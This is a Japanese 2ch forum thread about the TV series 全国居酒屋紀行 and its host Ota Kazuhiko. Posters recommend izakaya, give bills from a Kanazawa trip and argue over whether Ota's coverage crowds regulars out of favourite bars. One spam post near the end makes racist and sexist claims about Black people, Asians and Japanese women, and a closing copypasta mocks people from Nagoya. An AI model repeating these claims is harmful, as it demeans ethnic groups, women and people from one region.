全国居酒屋紀行

知ってます?
すきだったなぁ、太田和彦の飲み方、あての食い方.
行ってみたい店が多かった.

千住の大はし、番組見て行ったよ。おじちゃんとでっかいそろばんに惚れた。
向かいのバードコートも行った。太田氏が言うほどつくねは感動しなかった。

今、酒板で「まるますや」「大はし」「斎藤酒場」のカテあるけど、みんな居酒屋紀行に出たみせだね。

千住の大はしは梅チューハイが美味しいね。

あの人はただの田舎者の格好つけですね。「精選　東京の居酒屋」に代表されるように、
お店の選択は良いと思うので、参考として一応出した本はかなり読んでますが、
飲み方や、文面に表れる彼のものの見方は、自分的には特に魅力的とは思えません。
まぁ、好みの問題ですが。

鹿児島に行ったとき、彼の推奨居酒屋、「焼酎天国」
行きました。
よかったですよ。

金沢駅構内の黒百合がいいな。
名前からすると怪しいバーかと思うけど昼から飲める居酒屋です。
メニューが豊富で何でもうまいぞ、、、

みた？
http://www.tabi-ch.net/regular/izakaya/index.html

関西ローカルで申し訳ないのですが
梅田駅の居酒屋「河津」最高。
全国から集まった地酒、焼酎に、一切手を抜かない
ちゃんとした仕事のされたつまみが最高に美味しい。
オコゼポン酢、牛タン味噌煮込み、一度お試しあれ。

ただしちょっと高めかな。

>>3
「居酒屋紀行」に載る以前から有名な店ばっかりです。

>>5
禿同。
東京人は地方を軽蔑してるとか決め付けたり、居酒屋に焼酎は置い
てほしくないとか無茶苦茶。
東京下町の居酒屋・酒場に甲種焼酎を置かなくてどうするんだよ。
梅割を名物にしてる「大はし」を否定するのか？矛盾してるよ。

太田は単に通ぶってるだけ。

「オレはこういう飲み方をしてる、こういうのが好きだ」って言ってるだけだよな。
酒飲みなら誰でも一家言あるはず。
ってか、ヒトが気持ちよく飲んでるときに、オレはこういう店は許さんとか、
それに反応して、オレの気に入ってる店に文句付けるのか、とかあるよな。
そういう意味で、メディア的に押しつけてこないから、いいと思うね。

俺さぁ、酒ほとんど飲めないんだけど、この番組見てるとうまそぉ〜なんだよね。
こうやって飲めばうまいのかなぁ、なんて思いながら観てるよ

「さ、どうだ。」

同行ディレクターの顔が見たいなぁ

取材の人は飲んじゃいけないのかなぁ。。

>>14
先月、全国居酒屋紀行のスペシャルの再放送で浦和を案内してたよ。
http://www.tabi-ch.net/regular/izakaya/column01.html
これってディレクターが書いたのかな?
>>15
昔はよく
「〜はスタッフが食べてしまったため映像がありません。大変失礼いたしました」
ってテロップ入ってたから飲んでるかもね。

スペシャルの再放送なんてやってるんだ。今ＣＡＴＶで続と新をやってるけど
元祖のがやってないんだよね。

>>17
「新」のまえにやってたよ。
この人は普通のビール1杯だけでもウマそうに飲むよね、ある意味うらやましい

最近バードコートの再放送をやってたんだけど、焼き鳥のレベルを
超えてるって絶賛してました。そんなにおいしいんだ。
でも、バードランドはなくなったってほんとかな？

19>確か銀座か何処かに移転したんだ。儲かってたからね、、、

>20
あ、そうなんですか？
しらべてもどうも分からなかったんです。ありがとうございます。
もうちょっと調べて行って見よう

>21
先月号のdancyuに載ってたよ＞バードコート＆バードランド
デリシャスも丼特集でバードランド出ててちょっと笑った

最近「大はし」に「バードコート」から流れてくる若い客が多いな。
特に女性のグループが増えた。

悪いけど、ちょっウザイ。

>筋向いという場所柄やむをえないのか。
でも、グループってのが嫌だね。うるさいっての

ホント、太田のどこがいいのか分からないよ。太田を崇拜してるヤツの気が知れないね。
自分の足で、自分に合った店探そうよ。絶対あるから。
俺は好きだった店が、太田に紹介されたとたんに気分悪くなって、足が向かなくなるよ。

女のグループ（３人）とかカップルって嫌だね、ミーハーな感じで。
一人でこいよ、女性の一人客大歓迎！！
（女性の一人客にはキャリアウーマンタイプのかっこいい人が多い）

今この瞬間、何も飲んでない…。

そして誤爆…。スミマセン…。

女のグループはマシだよ。
男の居酒屋評論家グループが一番イタイ。

>>29
禿同！俺の良く行く酒場に日曜日になると出没するよ。うざい。
じゃあ、もっと最悪は「女の居酒屋評論家グループ」かな（W

近いうちに銀座へ移転したバードランド行って来ます。
初めてだから楽しみだ。親子丼食べてこよ。

>>26
女一人で行くのはナンパ目的かと思われそうでいやん
飲み屋じゃなく、洋食屋でナンパされ、
激しく鬱

同じスタッフで同じような番組始まったな、続居酒屋〜始まったばかりなのに。
太田氏が忙しく制作ペースが上がらないためか？

>>33
もしかして蔵元となんだかってやつ？
それなら、続〜とのつなぎだよ。

1回見たけど、不細工なだけで味のない女が進行役をしてるので
だめです。

>>35
そこまでは思わなかったけど、二回目を見たい気にはさせなかった。
２回目以降彼女は進行に慣れていったのか？
見た人の感想希望（スレ違いか…）

>>33-36
山同敦子の蔵元と巡る居酒屋紀行ね
ほんとにこのねーちゃん利酒師？
男に媚びるような感じがいやん。
開運の社長と満寿泉の若旦那が薦めてた店は良かったよ。

>>37
＞男に媚びるような感じがいやん。
難しいところだけど、結局そう画面に見えてしまったらしょうがないですかね。
この手の酒が絡む番組で女性ナビゲーターという設定がきつそうだし。

でもあんまり金かけなくても良い感じの番組って出来るってことがわかった。

金のないTV東京も見習え

「正」「新」「続」って１話も欠かさず録画してるけど
１２０分３倍録画で６本目、家宝だね。
酒好きの友達が来ると必ず見せるね。

続全国居酒屋紀行スペシャル2は見逃した店にいい店があったのでよかったです

居酒屋やってますが、yahooで自分の店の事が書かれているページを
見つけたが、バイトの女がダメダメでもう行かないなんて書いてあった、
そんな人はわざわざyahooに書き込まないで黙って来なくなって欲しい。
ある意味営業妨害だよ。

In article >>42, 幾年月/42 wrote:
> 居酒屋やってますが、yahooで自分の店の事が書かれているページを
> 見つけたが、バイトの女がダメダメでもう行かないなんて書いてあった、
> そんな人はわざわざyahooに書き込まないで黙って来なくなって欲しい。

えー、それはわがままでは?
そうかかれるのがいやなら、ちゃんとまじめな接客すりゃいいわけだし。

>>42
この場合43さんのほうが正しいのでは？
わざわざお金払って飲みに行って、いやな思いをすれば、むかつくし
同じような犠牲者を増やさないためにも書き込みたくなりますよ。

自分も仙台で、大田氏の本で推奨されていた店「一心」に行ったんですが、
かなり駄目でした。フリの客に対する接客態度は、いただけません。
（太田氏はかなり居酒屋業界で名が売れてるから、接客態度も良かった
んだろうけどね）
自分は酒を注がれるとき店員のミスで注がれた酒をそのままスーツに
こぼされてしまったんですが、こぼした店員には謝りもされませんでした。
店員の教育から見直していただきたいものです。

酒にしても何を基準にイイといってるかが不明。結構いい値段取ってるのに、
酒の量をケチるケチる。酒の品揃えを売り物にしてるんだったら、
純米酒が5勺に満たないような利き酒グラスで900円などという価格設定は
よすべきでしょう。

それにセコいようだが、お酒を注ぐ際、グラスを置く枡におまけで
ちょっとこぼしてもらうのが、酒飲みのささやかな望みだし、
それでこそちょっと高いな、と思っても何となく納得するもんだと思うのですが、
そんなことは一切なし。
それどころか絶対こぼさないぞ、と主張するように、枡といっても壁の高さのない、
どちらかといえば、正方形の小さなお盆みたいな物を使っている始末です。

あの客の入り（少）で、あの品揃え（多）で、あの量（少）で売るとすると、
人気のない酒に限らず、普通の売れ行きの酒でも、
口開けから何ヶ月も経ったものが、平気で置いてあるかも知れません。
実際のところは知らないけどね。

森下の山利喜に初めて行った。
煮込み旨かったー。
それとギネスの生があるのには驚いたね

>>43
そーだ、わがままだ。

来週末、
金沢に行くのですが
香林坊、片町辺りで安くてお薦めの店在りませんでしょうか？
元来好きなのは肉料理なのですが、
やはり、冬の金沢では魚系を戴きたいですね？(魚も好きです）
でも、安くて、美味しくて、楽しい店なら、何処でもOKです！

予算は、５〜６０００円（飲み食いで）なんですが？？
何方か情報下さいマセ！！！

宜しくお願いイタシマス！！！

In article >>47, 金沢が好きですネ/47 wrote:

> 来週末、
> 金沢に行くのですが
> 香林坊、片町辺りで安くてお薦めの店在りませんでしょうか？
> 元来好きなのは肉料理なのですが

そういえば、ムートンロートシルトの名前を冠した店がありました
(「ロスチャイルド」と表記してたかも)
たいそうななまえのわりに、くいものはまあまあ、
ワインもまあまでしたが、食後のチーズがうまかった:)

(たしか片町のあたりだったはず)

　■■【Kusakabe Youichi】は完全放置で■■
　http://teri.2ch.net//test/read.cgi/tubo/1009475423/

>>48
情報有り難うございます

>>49
読ませてもらいました

先日放送されたスペシャル２で行ってみたい居酒屋が発表されてたけど、
どのくらいの票が集まったのか知りたい…

金沢に限らず全国居酒屋紀行で紹介された居酒屋は旅チャンネルのホームページで案内されていますよ。（ヤフーで旅チャンネルで検索可能）
それとユニークなのはこのページ
http://home.catv.ne.jp/dd/m1558m/izakaya.htm

大田和彦ペテン死、氏ね

居酒屋大全、学生時代に影響受けたなあ。

あの大船渡の店に、逝ってみたかった

「新 精選 東京の居酒屋」なる本が出版されていた。
相変わらずミーハーな選択だなと思って本を適当にめくっていたら...
蕎麦屋が一軒載っていた...居酒屋の本なのに...
しかも俺が10年来通っていて大事にしていた店が...
客層が荒れる事間違いなし...

太田逝ってよし！

>>52さん　有り難うございます

金沢行って来ました
入った店は　
　　１軒目　源左エ門
　　　　　　魚が主の居酒屋、戴いた品全て旨かったです！
　　　　　　店の応対も好いでした
　　　　　　鰤刺し　平目刺し　鰤大根　鳥から揚げ　他２，３品
　　　　　　生ビール２杯　冷酒１０杯位タブン？
　　　　　　会計　１０５００円
　　２軒目　菊一
　　　　　　おでんやさん　スゴク昔の雰囲気のそして皆さんいい人ばかりで
　　　　　　楽しく飲みました
　　　　　　そして、何より今まで食べたおでんでは、一番旨かったかも　
　　　　　　知れないです！
　　　　　　おでん６-８品　ビンビール３-４本
　　　　　　会計　４０００円
　　３軒目　もっきりや
　　　　　　広い店でジャズが流れている素敵なバーです
　　　　　　この店は３回目なんですが、いつも空いてます？
　　　　　　何でだろう？？
　　　　　　ウイスキー水割り６−７杯位
　　　　　　会計　３９００円
　　　　　　料金は合っていますが（領収書有り）、注文の品は酔っ払いですので
　　　　　　正確には覚えていません！
今回は、２人で行った値段です。
金沢で、また２軒いい店を見つけました。特に菊一は、最高です！
３軒共東京には無い雰囲気と値段のお店でした。

　私は、インターネット初心者でして、２チャンネルも先月初めて
見つけたばかりで、まだ検索で上手く知りたい事を探せませんのです
年に、１回位金沢に行きます。
さて来年は、何処の店に行こうかな？

皆さん有り難うございました
楽しかったです！！！

渋谷でお薦めのバーってしりませんか

渋谷でお勧めのバーはコレヒオです。若い人には向きません。
おじさんが一人で呑むところと言う印象です。
後は、門かな？

ところで、滋賀県の大津、近江八幡、長浜などで、渋い居酒屋を
どなたか知りませんか？
よろしくお願いします。

「新精選・東京の居酒屋」に恥ずかしい間違い発見！
十条の「斉藤酒場」にテレビ置いてないだってよ！(ｳﾌﾟﾌﾟ
一度だけ、ちょっと顔出しただけで書いてるんだね

太田さらしage

私はいつも呑んでは奇行を繰り広げていますが、何か？

もいっちょ、さらしあげ

本日、仕事で晴海に出かけたので帰りに久し振りに岸田屋覗いたら張り紙に、、
１月２２日に店主永眠につき暫くの間休業します、、、合掌。

最近函館を取り上げてたけど、やっぱりヤリイカはうまそうだったなぁ

そうですか。岸田屋のご主人亡くなられましたか！
去年行った時にも具合が悪くて店に出てらっしゃいませんでした。
心配していたのですが。
居酒屋ファンとしては悲しい限りです。
合掌。

>>55
別に蕎麦屋だって酒出すし、その為に天ヌキとかの品揃えもあるわけだし。
まあ１０年来大事にしていた店が紹介されて、それによってアフォな客が増える事への憎悪は分からんでもないが、
それはその客に矛先を向けるべきであって、太田氏に難癖付けるのは筋違いでは？
一見さんが、うまい店を知り、足繁く通って「通」になる。
あんただってその蕎麦屋に入った時は間違いなく一見さんだったはず。
自己中心的な考えしか出来ない人に、間口を広げてうまい店を教えてくれる太田氏に同調出来るはずもありませんな。
あんたはそこで蕎麦湯でもカブ飲みしてなさい。

蕎麦屋のどこが「東京の居酒屋」なんだよ！看板に偽りあり！！
本に載せれば（太田崇拜の）アフォな客も来るの分かっていて、
本に載せてるんだから太田に文句言っても筋違いじゃないだろ！！

自分の足で見付けてこそ、その店を大事に出来るんだよ。
太田なんて、ほとんど誰かしらからの情報を頼りに行って、
1〜2度顔出したくらいで記事にしてるだけだろ。
>>59の指摘を見れば一目瞭然。
そんな太田に同調するアフォ（>>66）は逝ってよし！

すくなくともお前の店じゃないから。

店の人はお前一人来るより、一見さんでも客が多いほうが
嬉しいだろうな。＞５５

３年くらい前に仕事で山口県防府市に行きました。
そこで入った「たけむら」が忘れられない。
生まれて初めてまて貝食ったけど、こんなうまいもんがあるのかと思った。
これだから地方出張はやめられないのよね〜。

お前の店でもないだろ？
＞店の人はお前一人来るより、一見さんでも客が多いほうが
＞嬉しいだろうな。
何でそんな事分かるんだ？お前は店の人間か？
お前の様なミーハーでアフォの太田信者に来られるのが一番困るってんだよ！

>70
本で紹介してるってことは、店の了解とってのことだろ？

頭悪いな。やっぱお前みたいな一人よがりのヴォケはほっとこ（Ｗ

>>55
まあ、いくらあんたが粋がっていても>>71の言うように、紹介されている以上は
ある意味、店側が門戸開放しているわけだし。
そういう店側の意向も汲まずに、自分勝手な考えだけで、さも経営者面してるのが「店を大事にしている」なんて片腹ｲﾀｲ。
そんなわけで、あんたもアフォな客のうちの一人って事で。
自分の脳内で「俺居酒屋紀行」でも繰り広げていなさい。

店の人は太田がどんなヴォケで、その信者が66みたいにどんなアフォか知らなかったんだろうなぁ...
まあ66は一人で行きつけの呑み屋も探せないような厨房ってことで、皆さん俺に免じて勘弁してあげて下さい。
店が了解とったからお前らみたいな厨房が荒らしてもいいって事にならねえだろ。71も逝っていいよ。

はっは。苦しい負け惜しみだな。酔っ払いさん

>>73
一見さんがその店に入るだけで荒らしになる、という発想しかできない人も明らかに厨房ですな。
そりゃあ、行きつけの店がひとつくらいあれば、自分のステータスシンボルになりますわな。
そこに１０年も行ってるくらいだから、余程出される食べ物が旨いんでしょうな。
ゆえに、この店の事は誰にも教えたくない。なぜなら、自分だけの空間を汚れさせたくないから。でしょ？
ああ、目に浮かびますな。>>73が店の隅っこで一人かけそばをピチャピチャと音立てながら食ってる姿が・・・。
だから、そういった部外者を寄せ付けたくない、と。
だったらそこの店の権利を全部買って、「ぼくだけのおそばやさ〜ん」として毎日３食そばづくししたら？毎日が行きつけ。

まあ、でも確かに俺も情報だけで固めて店に来て、通ぶるようなアフォ客にはなりたくないよ。
純心無垢に店の雰囲気、そして酒を味わうようにしたいね。
あと、そこを行きつけにしても>>73のように驕り高ぶらないようにしよう。そうしよう。

どんどん釣れるねぇ〜（Ｗ

>>74は反論できない厨房さんですか？まだお酒呑める年齢じゃないでしょ？（Ｗ
その点、>>66はいいねぇ〜。反論できなくて、
＞>>73が店の隅っこで一人かけそばをピチャピチャと音立てながら食ってる姿が・・・
＞「ぼくだけのおそばやさ〜ん」として毎日３食そばづくししたら？
なんて、もう揶揄することしか出来ないんだけど、
＞まあ、でも確かに俺も情報だけで固めて店に来て、通ぶるようなアフォ客にはなりたくないよ。
＞驕り高ぶらないようにしよう。そうしよう。
と反省してるからね。

今までは太田本に影響されて、太田のように情報だけで固めて店に来て、通ぶるアフォ客だったんだね。
更に、行きつけにしたら驕り高ぶってもいたんだね。太田は罪深いよ...。

太田氏の居酒屋本の一番最初の頃（居酒屋大全　1990年　講談社に登場の藤田嬢は
どうしたんだ？
ここで究極の居酒屋として登場は「岸田屋」「明治屋」「長久酒場」の3軒だな、、
しかし内容的には、東海林さだお氏のパクリででてきたなと思うのは俺だけか？

>76
おまえ、見ててつらいよ

>>78
負け惜しみの一言（W

ま、酒は大人になってから飲みなさいってこった。

「大はし」の客がここに移動してきたな・・
本でも読んでよう・・・

だめだ、こりゃ
メディアに書き込みつつメディアを批判してる酔っ払いがいるとは

下げてまったりモードにしよ。

いいから涙を拭けよ

いやー、あれたな。
ま、それほど大したスレでもなかったが。

いいから鼻水拭けよ

>店の人は太田がどんなヴォケで、その信者が66みたいにどんなアフォか知らなかったんだろうなぁ...

店に行って後悔してるか聞いてくれば（ｗ

>>86
てめえでヤレ

＞店に行って後悔してるか聞いてくれば（ｗ
聞いたら後悔してるって言ってたよ

usobakka

漏れも店で聞いたら、後悔の毎日と言ってた。

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ほんとそこまで嘘書いて主張を通したいのかね？

下らないから　sage

嘘と言うならオマエが聞いてみろよ（w
吠えるだけの厨房ちゃん（はぁと

しつこい
粘着の上に厨房おやじ。こんなふうにはなりたくないね

今初代全国〜を再放送してるけど、沖縄の飯って変わってるんだね。

ちょっと食べてみたくなった。あわもりも美味そうだ。

そういや今月放送予定の「和歌山」編だが、旅チャンネルでの紹介文見ると
「雑賀」の醸造元に行くようだな。
これって、今度ここで出す新酒のラベルデザインを太田氏に作ってもらったからなのか？
どんなラベルなんだろうか？変に横文字使ったりしてないか不安。

高知かどこかもラベルデザインをやったって放送してたもんな。

いまいちだったけど。ま、両者が満足してるならいいっしょ。

>>94
ドウカンガエテモシツコイノハ、オ・マ・エ

太田和彦氏は東北芸術工科大学の教授なので、
今日も七日町や香澄町などで飲んでると思われ。たぶん。
地域限定ネタ。

どっかの店で食ってた、分厚い焼き椎茸がうまそうだったＹＯ！

>100
それは北海道の釧路で食ってたやつじゃないか?

おそらく、そこ。
普段から画面が暗いのに、そこで食ってた時は更に輪をかけて暗かった。
まあ、店の雰囲気を壊さないために照明機材を使わないんだろうけどね。
単に制作費が少ないだけという気もしなくも無いが（藁

これだな。俺もあの店を見て一回行ってみたいと思ってる。
ばぁちゃんが魚を網で焼いてたもの美味そうだった。

ttp://www.tabi-ch.net/regular/izakaya/shop01/shop01-21.html

店はいいけど、太田はだめ

先日の名古屋編、観た。
あの貝と地酒の店、すごく行きたいんですが。
無類の貝類好きで、日本酒好きな漏れとしては居ても立ってもいられない限りでした。
でも、そこまで行く交通費の事を考えると・・・
つうわけで、近所のスーパーから適当な貝の刺身買ってきて純米酒を燗でってな日々。

太田くそだめage

岸田屋３･初旬に再開記念アゲ

再度　記念アゲ

太田知ったかぶりアゲ

俺的には太田さんのうまそうに食うところなんかはいいと思うんだが。

名古屋を見逃しているので今夜の再放送をみよっと

太田の悪行さらしage

名古屋編見ました。貝も美味そうでした。
俺的には朝引きささみ食ってみたいな。そして日本酒。

和歌山編見た。雑賀の酒、うまそうだ。しかしながら、あのラベルデザインはどうかと思ったが。
鯖の活作りもうまそ〜。

さっき、旅チャンネルのホームページを見たら、
髭コラムの新しいやつと
居酒屋紀行の掲示板が出来ていた。
書き込んでみるかな？

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保守上げ

あ〜あ、また太田が「東京人」で悪行さらしてるよ・・・
また場違いな勘違いミーハーどもに酒場が荒らされるんだね・・・

「東京人」、O氏の文章は例によって例の如し。
しかしカメラマンの写真が、なんとなく隠し撮りっぽくて気になる。
「大はし」のカットは大っぴらに店主や酒肴を撮ってるんだけど、
「斎藤酒場」ほかいくつかは一般客に紛れてﾁｮﾁｮｲと撮ったって感じ。
雑誌で酒場を紹介するならマナーを守りなさい。
店主に断わりゃいいのではない。
ストロボ焚かなきゃいいのではない。
へべれけの酔顔を自分の知らぬ間に誌面にさらされたくはないし、
夜逃げや不倫で人目をはばかり飲んでる客だっていないとは限らない。
最近のこの手の雑誌はネタ尽きるとすぐ「居酒屋特集」だ。
O氏もそろそろ抑えるところは抑えてほしい。

やっと和歌山編見ました。
さばが一番美味そうだったな。それとお決まりの
カワハギの肝。食いたいぞ。

静岡編見た。
あんな分厚いカツオ、見た事ない。食いてぇ〜。

おなじ酒場紹介なら、なぎらのほうがいいなぁ。

斎藤酒場のどこがいいのかわからん
雰囲気か？

>>122
あほか？

>>斎藤酒場のどこがいいのかわからん
安さと女将さんだろ！

やっぱかわはぎでしょ！＜静岡編

あんなに肝を大盛にされちゃよだれでまくり

太田はホントは女体盛りが好き

横浜編ででたバーに行ってみよ

さっき放映してた滋賀・大津編を視聴。
焼きとろろだのなれ鮨だの、うまそうな肴が目白押しでしたな。
ところで最近、太田氏は番組中に歌い出す事が多くなってきてるような気がするのですが・・・。
歳なんでしょうか（藁

確かに。太田さん最近良く歌います。函館あたりからでしょうか？（微笑

まぁ、気持ち良く放送してくれればそれはそれでＯＫであります。

横浜のロケの次の日に滋賀にロケに行ったからだよ＞歌

横須賀編見た。
日本酒倶楽部なんたらってところ、外観が若干洋風だったんであまり期待してなかったが、
なんですかあの銘酒の品揃え！酒の箱が陳列されているのには圧巻！
太田氏が飲んだ刈穂のうすにごり、うまそー。飲みてぇ〜。

ところで最近このスレ活気がないなーって思ってたけど、
旅チャンネルの掲示板にみんな流れてるんだろうな。

２ちゃんの書き込みと旅ちゃんの書き込み見てると
誰がどの書き込みをしてるのか推測できて２度楽しい。

これから再放送分の釧路をみるところ。
確か暗くて美味そうな（不思議な取り合わせだけど）炉辺焼き屋が
出てるはずだから、期待

再放送してた東京下町編を観た。
肉豆腐！煮込み！ぐぁ〜うまそう〜！しかもあの店の佇まい！良いね。酔鯨も飲みてぇ〜。

太田は酒場荒らし

太田に影響されて、バードコートで飲んだ後に、酔っぱらって大はしに来る
厨房が多すぎ！ハッキリ言ってうざい！！！

太田嘘ばっか。何だあの店、上野の「蜂ﾔ」…
練馬区の片隅でﾋｿｰﾘやっているｳﾁﾉﾐｾﾉﾎｳが
数倍ﾏましじゃ。ｼﾞｶｼﾞｻﾝ。
高田馬場の「ﾏﾅｲﾀ」で偶然隣り合わせしたときも
太田はすごツンとした様子だた。ﾔﾀﾞﾔﾀﾞ。気を抜くと見てる人間は見てるよ〜

あああああ！！大間違い、上野「ｼﾝｽｹ」でひた…
逝きﾏﾁｭ…　今日は酒好きじゃなくて女好きの一見ｼﾞｼﾞの相手で
新米ママｸﾞｯﾀﾘ…　ご　め　ん　な　さ　い…　板ﾁｶﾞｲだし…

>>138
すごくツンとした様子だったというが、著名人はいつもニッコニコとしてなければいかんのか？
そんなところしか見てないアンタのやってる店なんて、ロクでもないんだろうね。
半角カナ多用すれば2chのスキルが上がると思ってる厨房ママさ〜ん、スレ上げる前に自分の店の格でも上げたら〜（藁

138だけど、140サンの言うことは確かに一理あるわね。実際2
ch初心者だし、”スキルが上がる”ってのはよく分かんないんだけど
ずっとロムってて、半角ｶﾅづかいの上手い人はちょっとカッコイイなんて
思っちゃったのー！付け焼き刃はバレルわよね〜。反省するわ。
あと、そうね〜…　太田氏のことはツンとしてるってことしか印象が
なかったわけではないのね。まあ他でもあまりいい印象は持てなかったのは
事実。それまで私もファンだったぶん、ちょっとガッカリしたの。
ごめんなさいね、上手く説明できなくて。
ところで、店の格を上げるって、具体的にはどういうことを言うのかしら。
価格設定？　客を選ばなければダメ？　機微の問題かしら。
アドバイスしていただけると、本当にありがたいのだけど…。

ヒッソリじゃなくて

ホソボソだろ（藁

そうね〜！　その通りだわ〜！…って、こんな時間に書き込んだら、
ネタだったってバレバレね〜！！ぷぷぷぷぷ！じゃあね〜、もう
逝きますわ！俺は女でもないのよ〜〜
ごめんあそあせ〜〜！！（いい酒呑めよ！）

誰もおんなとはおもってないわな（藁

続全国居酒屋紀行。今月で終わりみたいだ・・

ショック

太田ちゃんが紹介することは、荒らされる傾向大。
高めのの店はそうじゃないけどね。
森下のヤマリキなんか行列だぜ。
地元の零細企業の労働者諸君の居場所がなくなりつつある。
餓鬼とバカねぇは来るな!!
吉祥寺の伊勢屋にでも行けっての?
銀座の三州屋も最近荒されてるな。

太田の存在が「荒らし」そのものだけどな。
あいつは酒場の事なんか分かっちゃいない。

>147
お前は社会のことがわかってないがな（藁

いま、続が終わって秋まで休肝中なんだけど。
早く始まってくれないかな

>149
そういうお前が太田と同じ知ったがぶり（W

もうすぐ新シリーズだよage

そういえば最近は昔のものをいくつか再放送してるね

ｈｈｈ

新作出ないね、なぎらと地ビールで押し通すのか？

NHK太田和彦ｷﾀ━━━━━━（ﾟ∀ﾟ）━━━━━━ｯ!!!!

たのむから太田は酒場に現れないでくれ。
酒場を荒らさないで家で呑んでろ！

ファイナル記念あげ

三番瀬行きてー

船橋ホメすぎじゃないのかな、引いてしまったよ

たしかにねえ。
「いままででいちばん・・」とかもう何度聞いたことか。

栃尾アゲ
太田和彦絶賛の「新八」ってどうよ？

太田は自分の足と舌で店を探し出してるんじゃなくて、番組関係者や出版関係者が
「どこそこの店がいいそうですから、その店でお願いします」と言われるままに
行って、用意された酒、肴を(ﾟдﾟ)ｳﾏｰ　店を（・∀・）ｲｲ！と語ってるだけ。

なぎら健壱の下町酒場紀行もよかったな〜

（＾＾）

↑この馬鹿暗すぎる・・・

（＾＾；

神田みますやが良い

宮崎はBBS常連が推してた店そのままじゃん、なんだかなっかり

age

>>122
昔、斎藤酒場は美人三姉妹で有名だったそうだ。
昭和40年ごろだけどね。
今いるばあちゃんがそうなんだろうか？

（＾＾）

（＾＾）

　　 ∧＿∧
　　（　　＾＾ ）＜ ぬるぽ（＾＾）

東北方面で出てた店に行ったケド、日本酒が0.5合位しか入ってないのに都心の飲み屋並の値段にはﾋﾞｸｰﾘしますた。
前日はつまみも美味く酒も沢山飲んで二人で1万位だったのに（同じ東北で、そのお店はこの番組にはもちろん出てない）、
翌日行ったその店は酒は少ない、つまみもまぁまぁフツーで1.5万ですごく損した気分になった。
恐るべし居○屋紀行・・・二度と行かねー・・・。

藤田さんのその後が知りたい…。

━―━―━―━―━―━―━―━―━[JR山崎駅（＾＾）]━―━―━―━―━―━―━―━―━―

あぼーん

太田さんいいよー。雰囲気あっておれすきだな。
知らない土地行って最初に飲むビール。「んー、おいしねー。」
銘柄なんて関係ないって感じ。
その土地の食べ物。「んー、これはうまいねー。」
ごく自然。おれもああゆうふに旅飲みしたいね。

地ビール紀行のあのカマキリみたいなヤロウ。
いやなやつだね。
ジョッキから泡だけ口に含んで「クチュクチュクチュ」ってやって。
「ンッ、ホップの香りっがきわだっていますね。」
「ンーッ、小麦の味がストレートにでていますねー。」
バカヤロー。ビール好きが一番大切な最初の一口めを
口に含んでクチュクチュってやるかヨー。
一気におっこくって、クー、って。
その後に香りとか味とかがついてくるんだよ。
泡だけなめたジョッキを何杯もテーブルに
残しやがって。似非評論家の銭の為ビール好き振りヤロウめ。

あ〜ファイナル終わっちゃったなぁ
でもまた復活するみたいだから楽しみ
このスレは存続させるぞ

土曜の深夜に会津編やってたけど、ゆりﾀﾝはやっぱかわええなあ〜

　__∧＿∧_
　|（　　＾＾ ）|　＜寝るぽ（＾＾）
　|＼⌒⌒⌒＼
　＼ |⌒⌒⌒~|　　　　　　　　　山崎渉
　　 ~￣￣￣￣

ハッキリ言ってアメリカなどの多民族国家では黒人の方がアジア人よりもずっと立場は上だよ。
貧弱で弱弱しく、アグレッシブさに欠け、醜いアジア人は黒人のストレス解消のいい的。
黒人は有名スポーツ選手、ミュージシャンを多数輩出してるし、アジア人はかなり彼らに見下されている。
(黒人は白人には頭があがらないため日系料理天などの日本人店員相手に威張り散らしてストレス解消する。
また、日本女はすぐヤラせてくれる肉便器としてとおっている。
「○ドルでどうだ？(俺を買え）」と逆売春を持ちかける黒人男性も多い。）
彼らの見ていないところでこそこそ陰口しか叩けない日本人は滑稽。

★

あぼーん

あぼーん

>>181
なんか、最近表彰されたらしい。
がんばってほしいね。

イヤー　いいね。
また　始まりますた。
なにげにチャンネル回してたら
突然大田氏の猪口を口に運ぶ
映像にビックリ嬉し。なんせ　超マイナー
放送局？　ヨー分からんけど。
ゲストでてたよ。あの　渡鬼の
角野さん。木曜日が嬉しい日に。

祝！！日本居酒屋紀行放送開始

あのまったりした番組進行が好きです。

また　始まりました。
今回　角野卓三さんが
ゲストで　対談でした。
楽しみですな。

明日は2回目ですよ〜
九州で焼酎らしい。
まったり、楽しみます。

あのみそ汁食ってみてぇ〜
誌目にはもってこいだ

博多ってそんなに魚が美味しいのかいな？
一度行って見ようかな

>>193
関さば、関あじ、ふぐ、アラなど福岡はホームラン級の魚が揃っているよ。
本だと福岡は博多と小倉の２つ行ってるけど、小倉はＴＶ放送したっけ？

>>194
HP見ると「あかとんぼ」と｢武蔵」と言う店に行ってるみたいだね。
ちょっと覚えてないんだけどビデオ撮ってるだろうから、
そのうち観てみるよ。

そうか関さばとかあったか。。。
やっぱり行かねば！！

>>195
サンクス！！ＨＰなんてあったなんて知らなかったよ。
紹介した店がみんな載ってていいね。
あかとんぼは居酒屋放浪記でご主人がいい味だしていたから、
ＴＶの方も見たかったなぁ。

鰹のたたきをたまねぎのおろしたのと一緒に食べるなんて
やったことないなあ。でも、うまそうだった。
俺的にはもどり鰹よりも梅雨前の初鰹の方が好き。

あ〜、さんまの炭火焼

サバトロ叩き。カツオではなくサバトロ叩き・・・安くて最高。
これでよく焼酎をやります。

名古屋にあるのに大江戸！
中部一の電気街、大須にあるんだけど昔の居酒屋って感じがいい〜
先代のオヤジさんのときも味があったんだけど、
料亭で修行した息子さんの代になって料理が増え魅力がましたね。

kinkyu-u-hujo

>>198
戻りガツオ埼京

鎌倉編
ジャークなんて出して欲しくないよ。あんなの

太田が取材に来た後は店が荒れて大変です。
頼むから太田信者はテレビや本を見ながら
大人しく家で呑んでてくれ...

■北信越を統轄する州都はどこになるか？
http://curoco.com/2chvote/anq/anq.cgi?data=20040228170101

1 金沢市 2332票
2 長野市 2013票
3 富山市 1422票

沼津みてるけど最初の店でおもいっきりおかみさんの仕事の邪魔してるなあ

沼津。
確かに女将ｻﾝの邪魔になってた（苦笑

飲食店における『名古屋人』の生態

名古屋人「これ見てみやあこれッ！蝿が入っとるがね！こんなもん食えんで作り直してちょう！」
店員「も、申し訳ございません、すぐにご用意いたします！」
名古屋人「あんた、東京の店は客に蝿を食わせるんかね？東京モンは名古屋をバカにしとるんでしょお！」
店員「そ、そんな・・すみません！申し訳ございません！」
名古屋人「この店は客に蝿入りの冷奴食わせる、て宣伝したるでね！オネーサン責任とりやあ」
店員「も、申し訳ありません！すみません、お許しくださ・・い・・（涙目）」
名古屋人「ま〜あかん！！店長呼んでちょう！！店長呼べて言ってるんだて！！」
店長「お客さま、大変失礼をいたしました。お代は結構ですので、ごゆっくりとお寛ぎくださいませ」
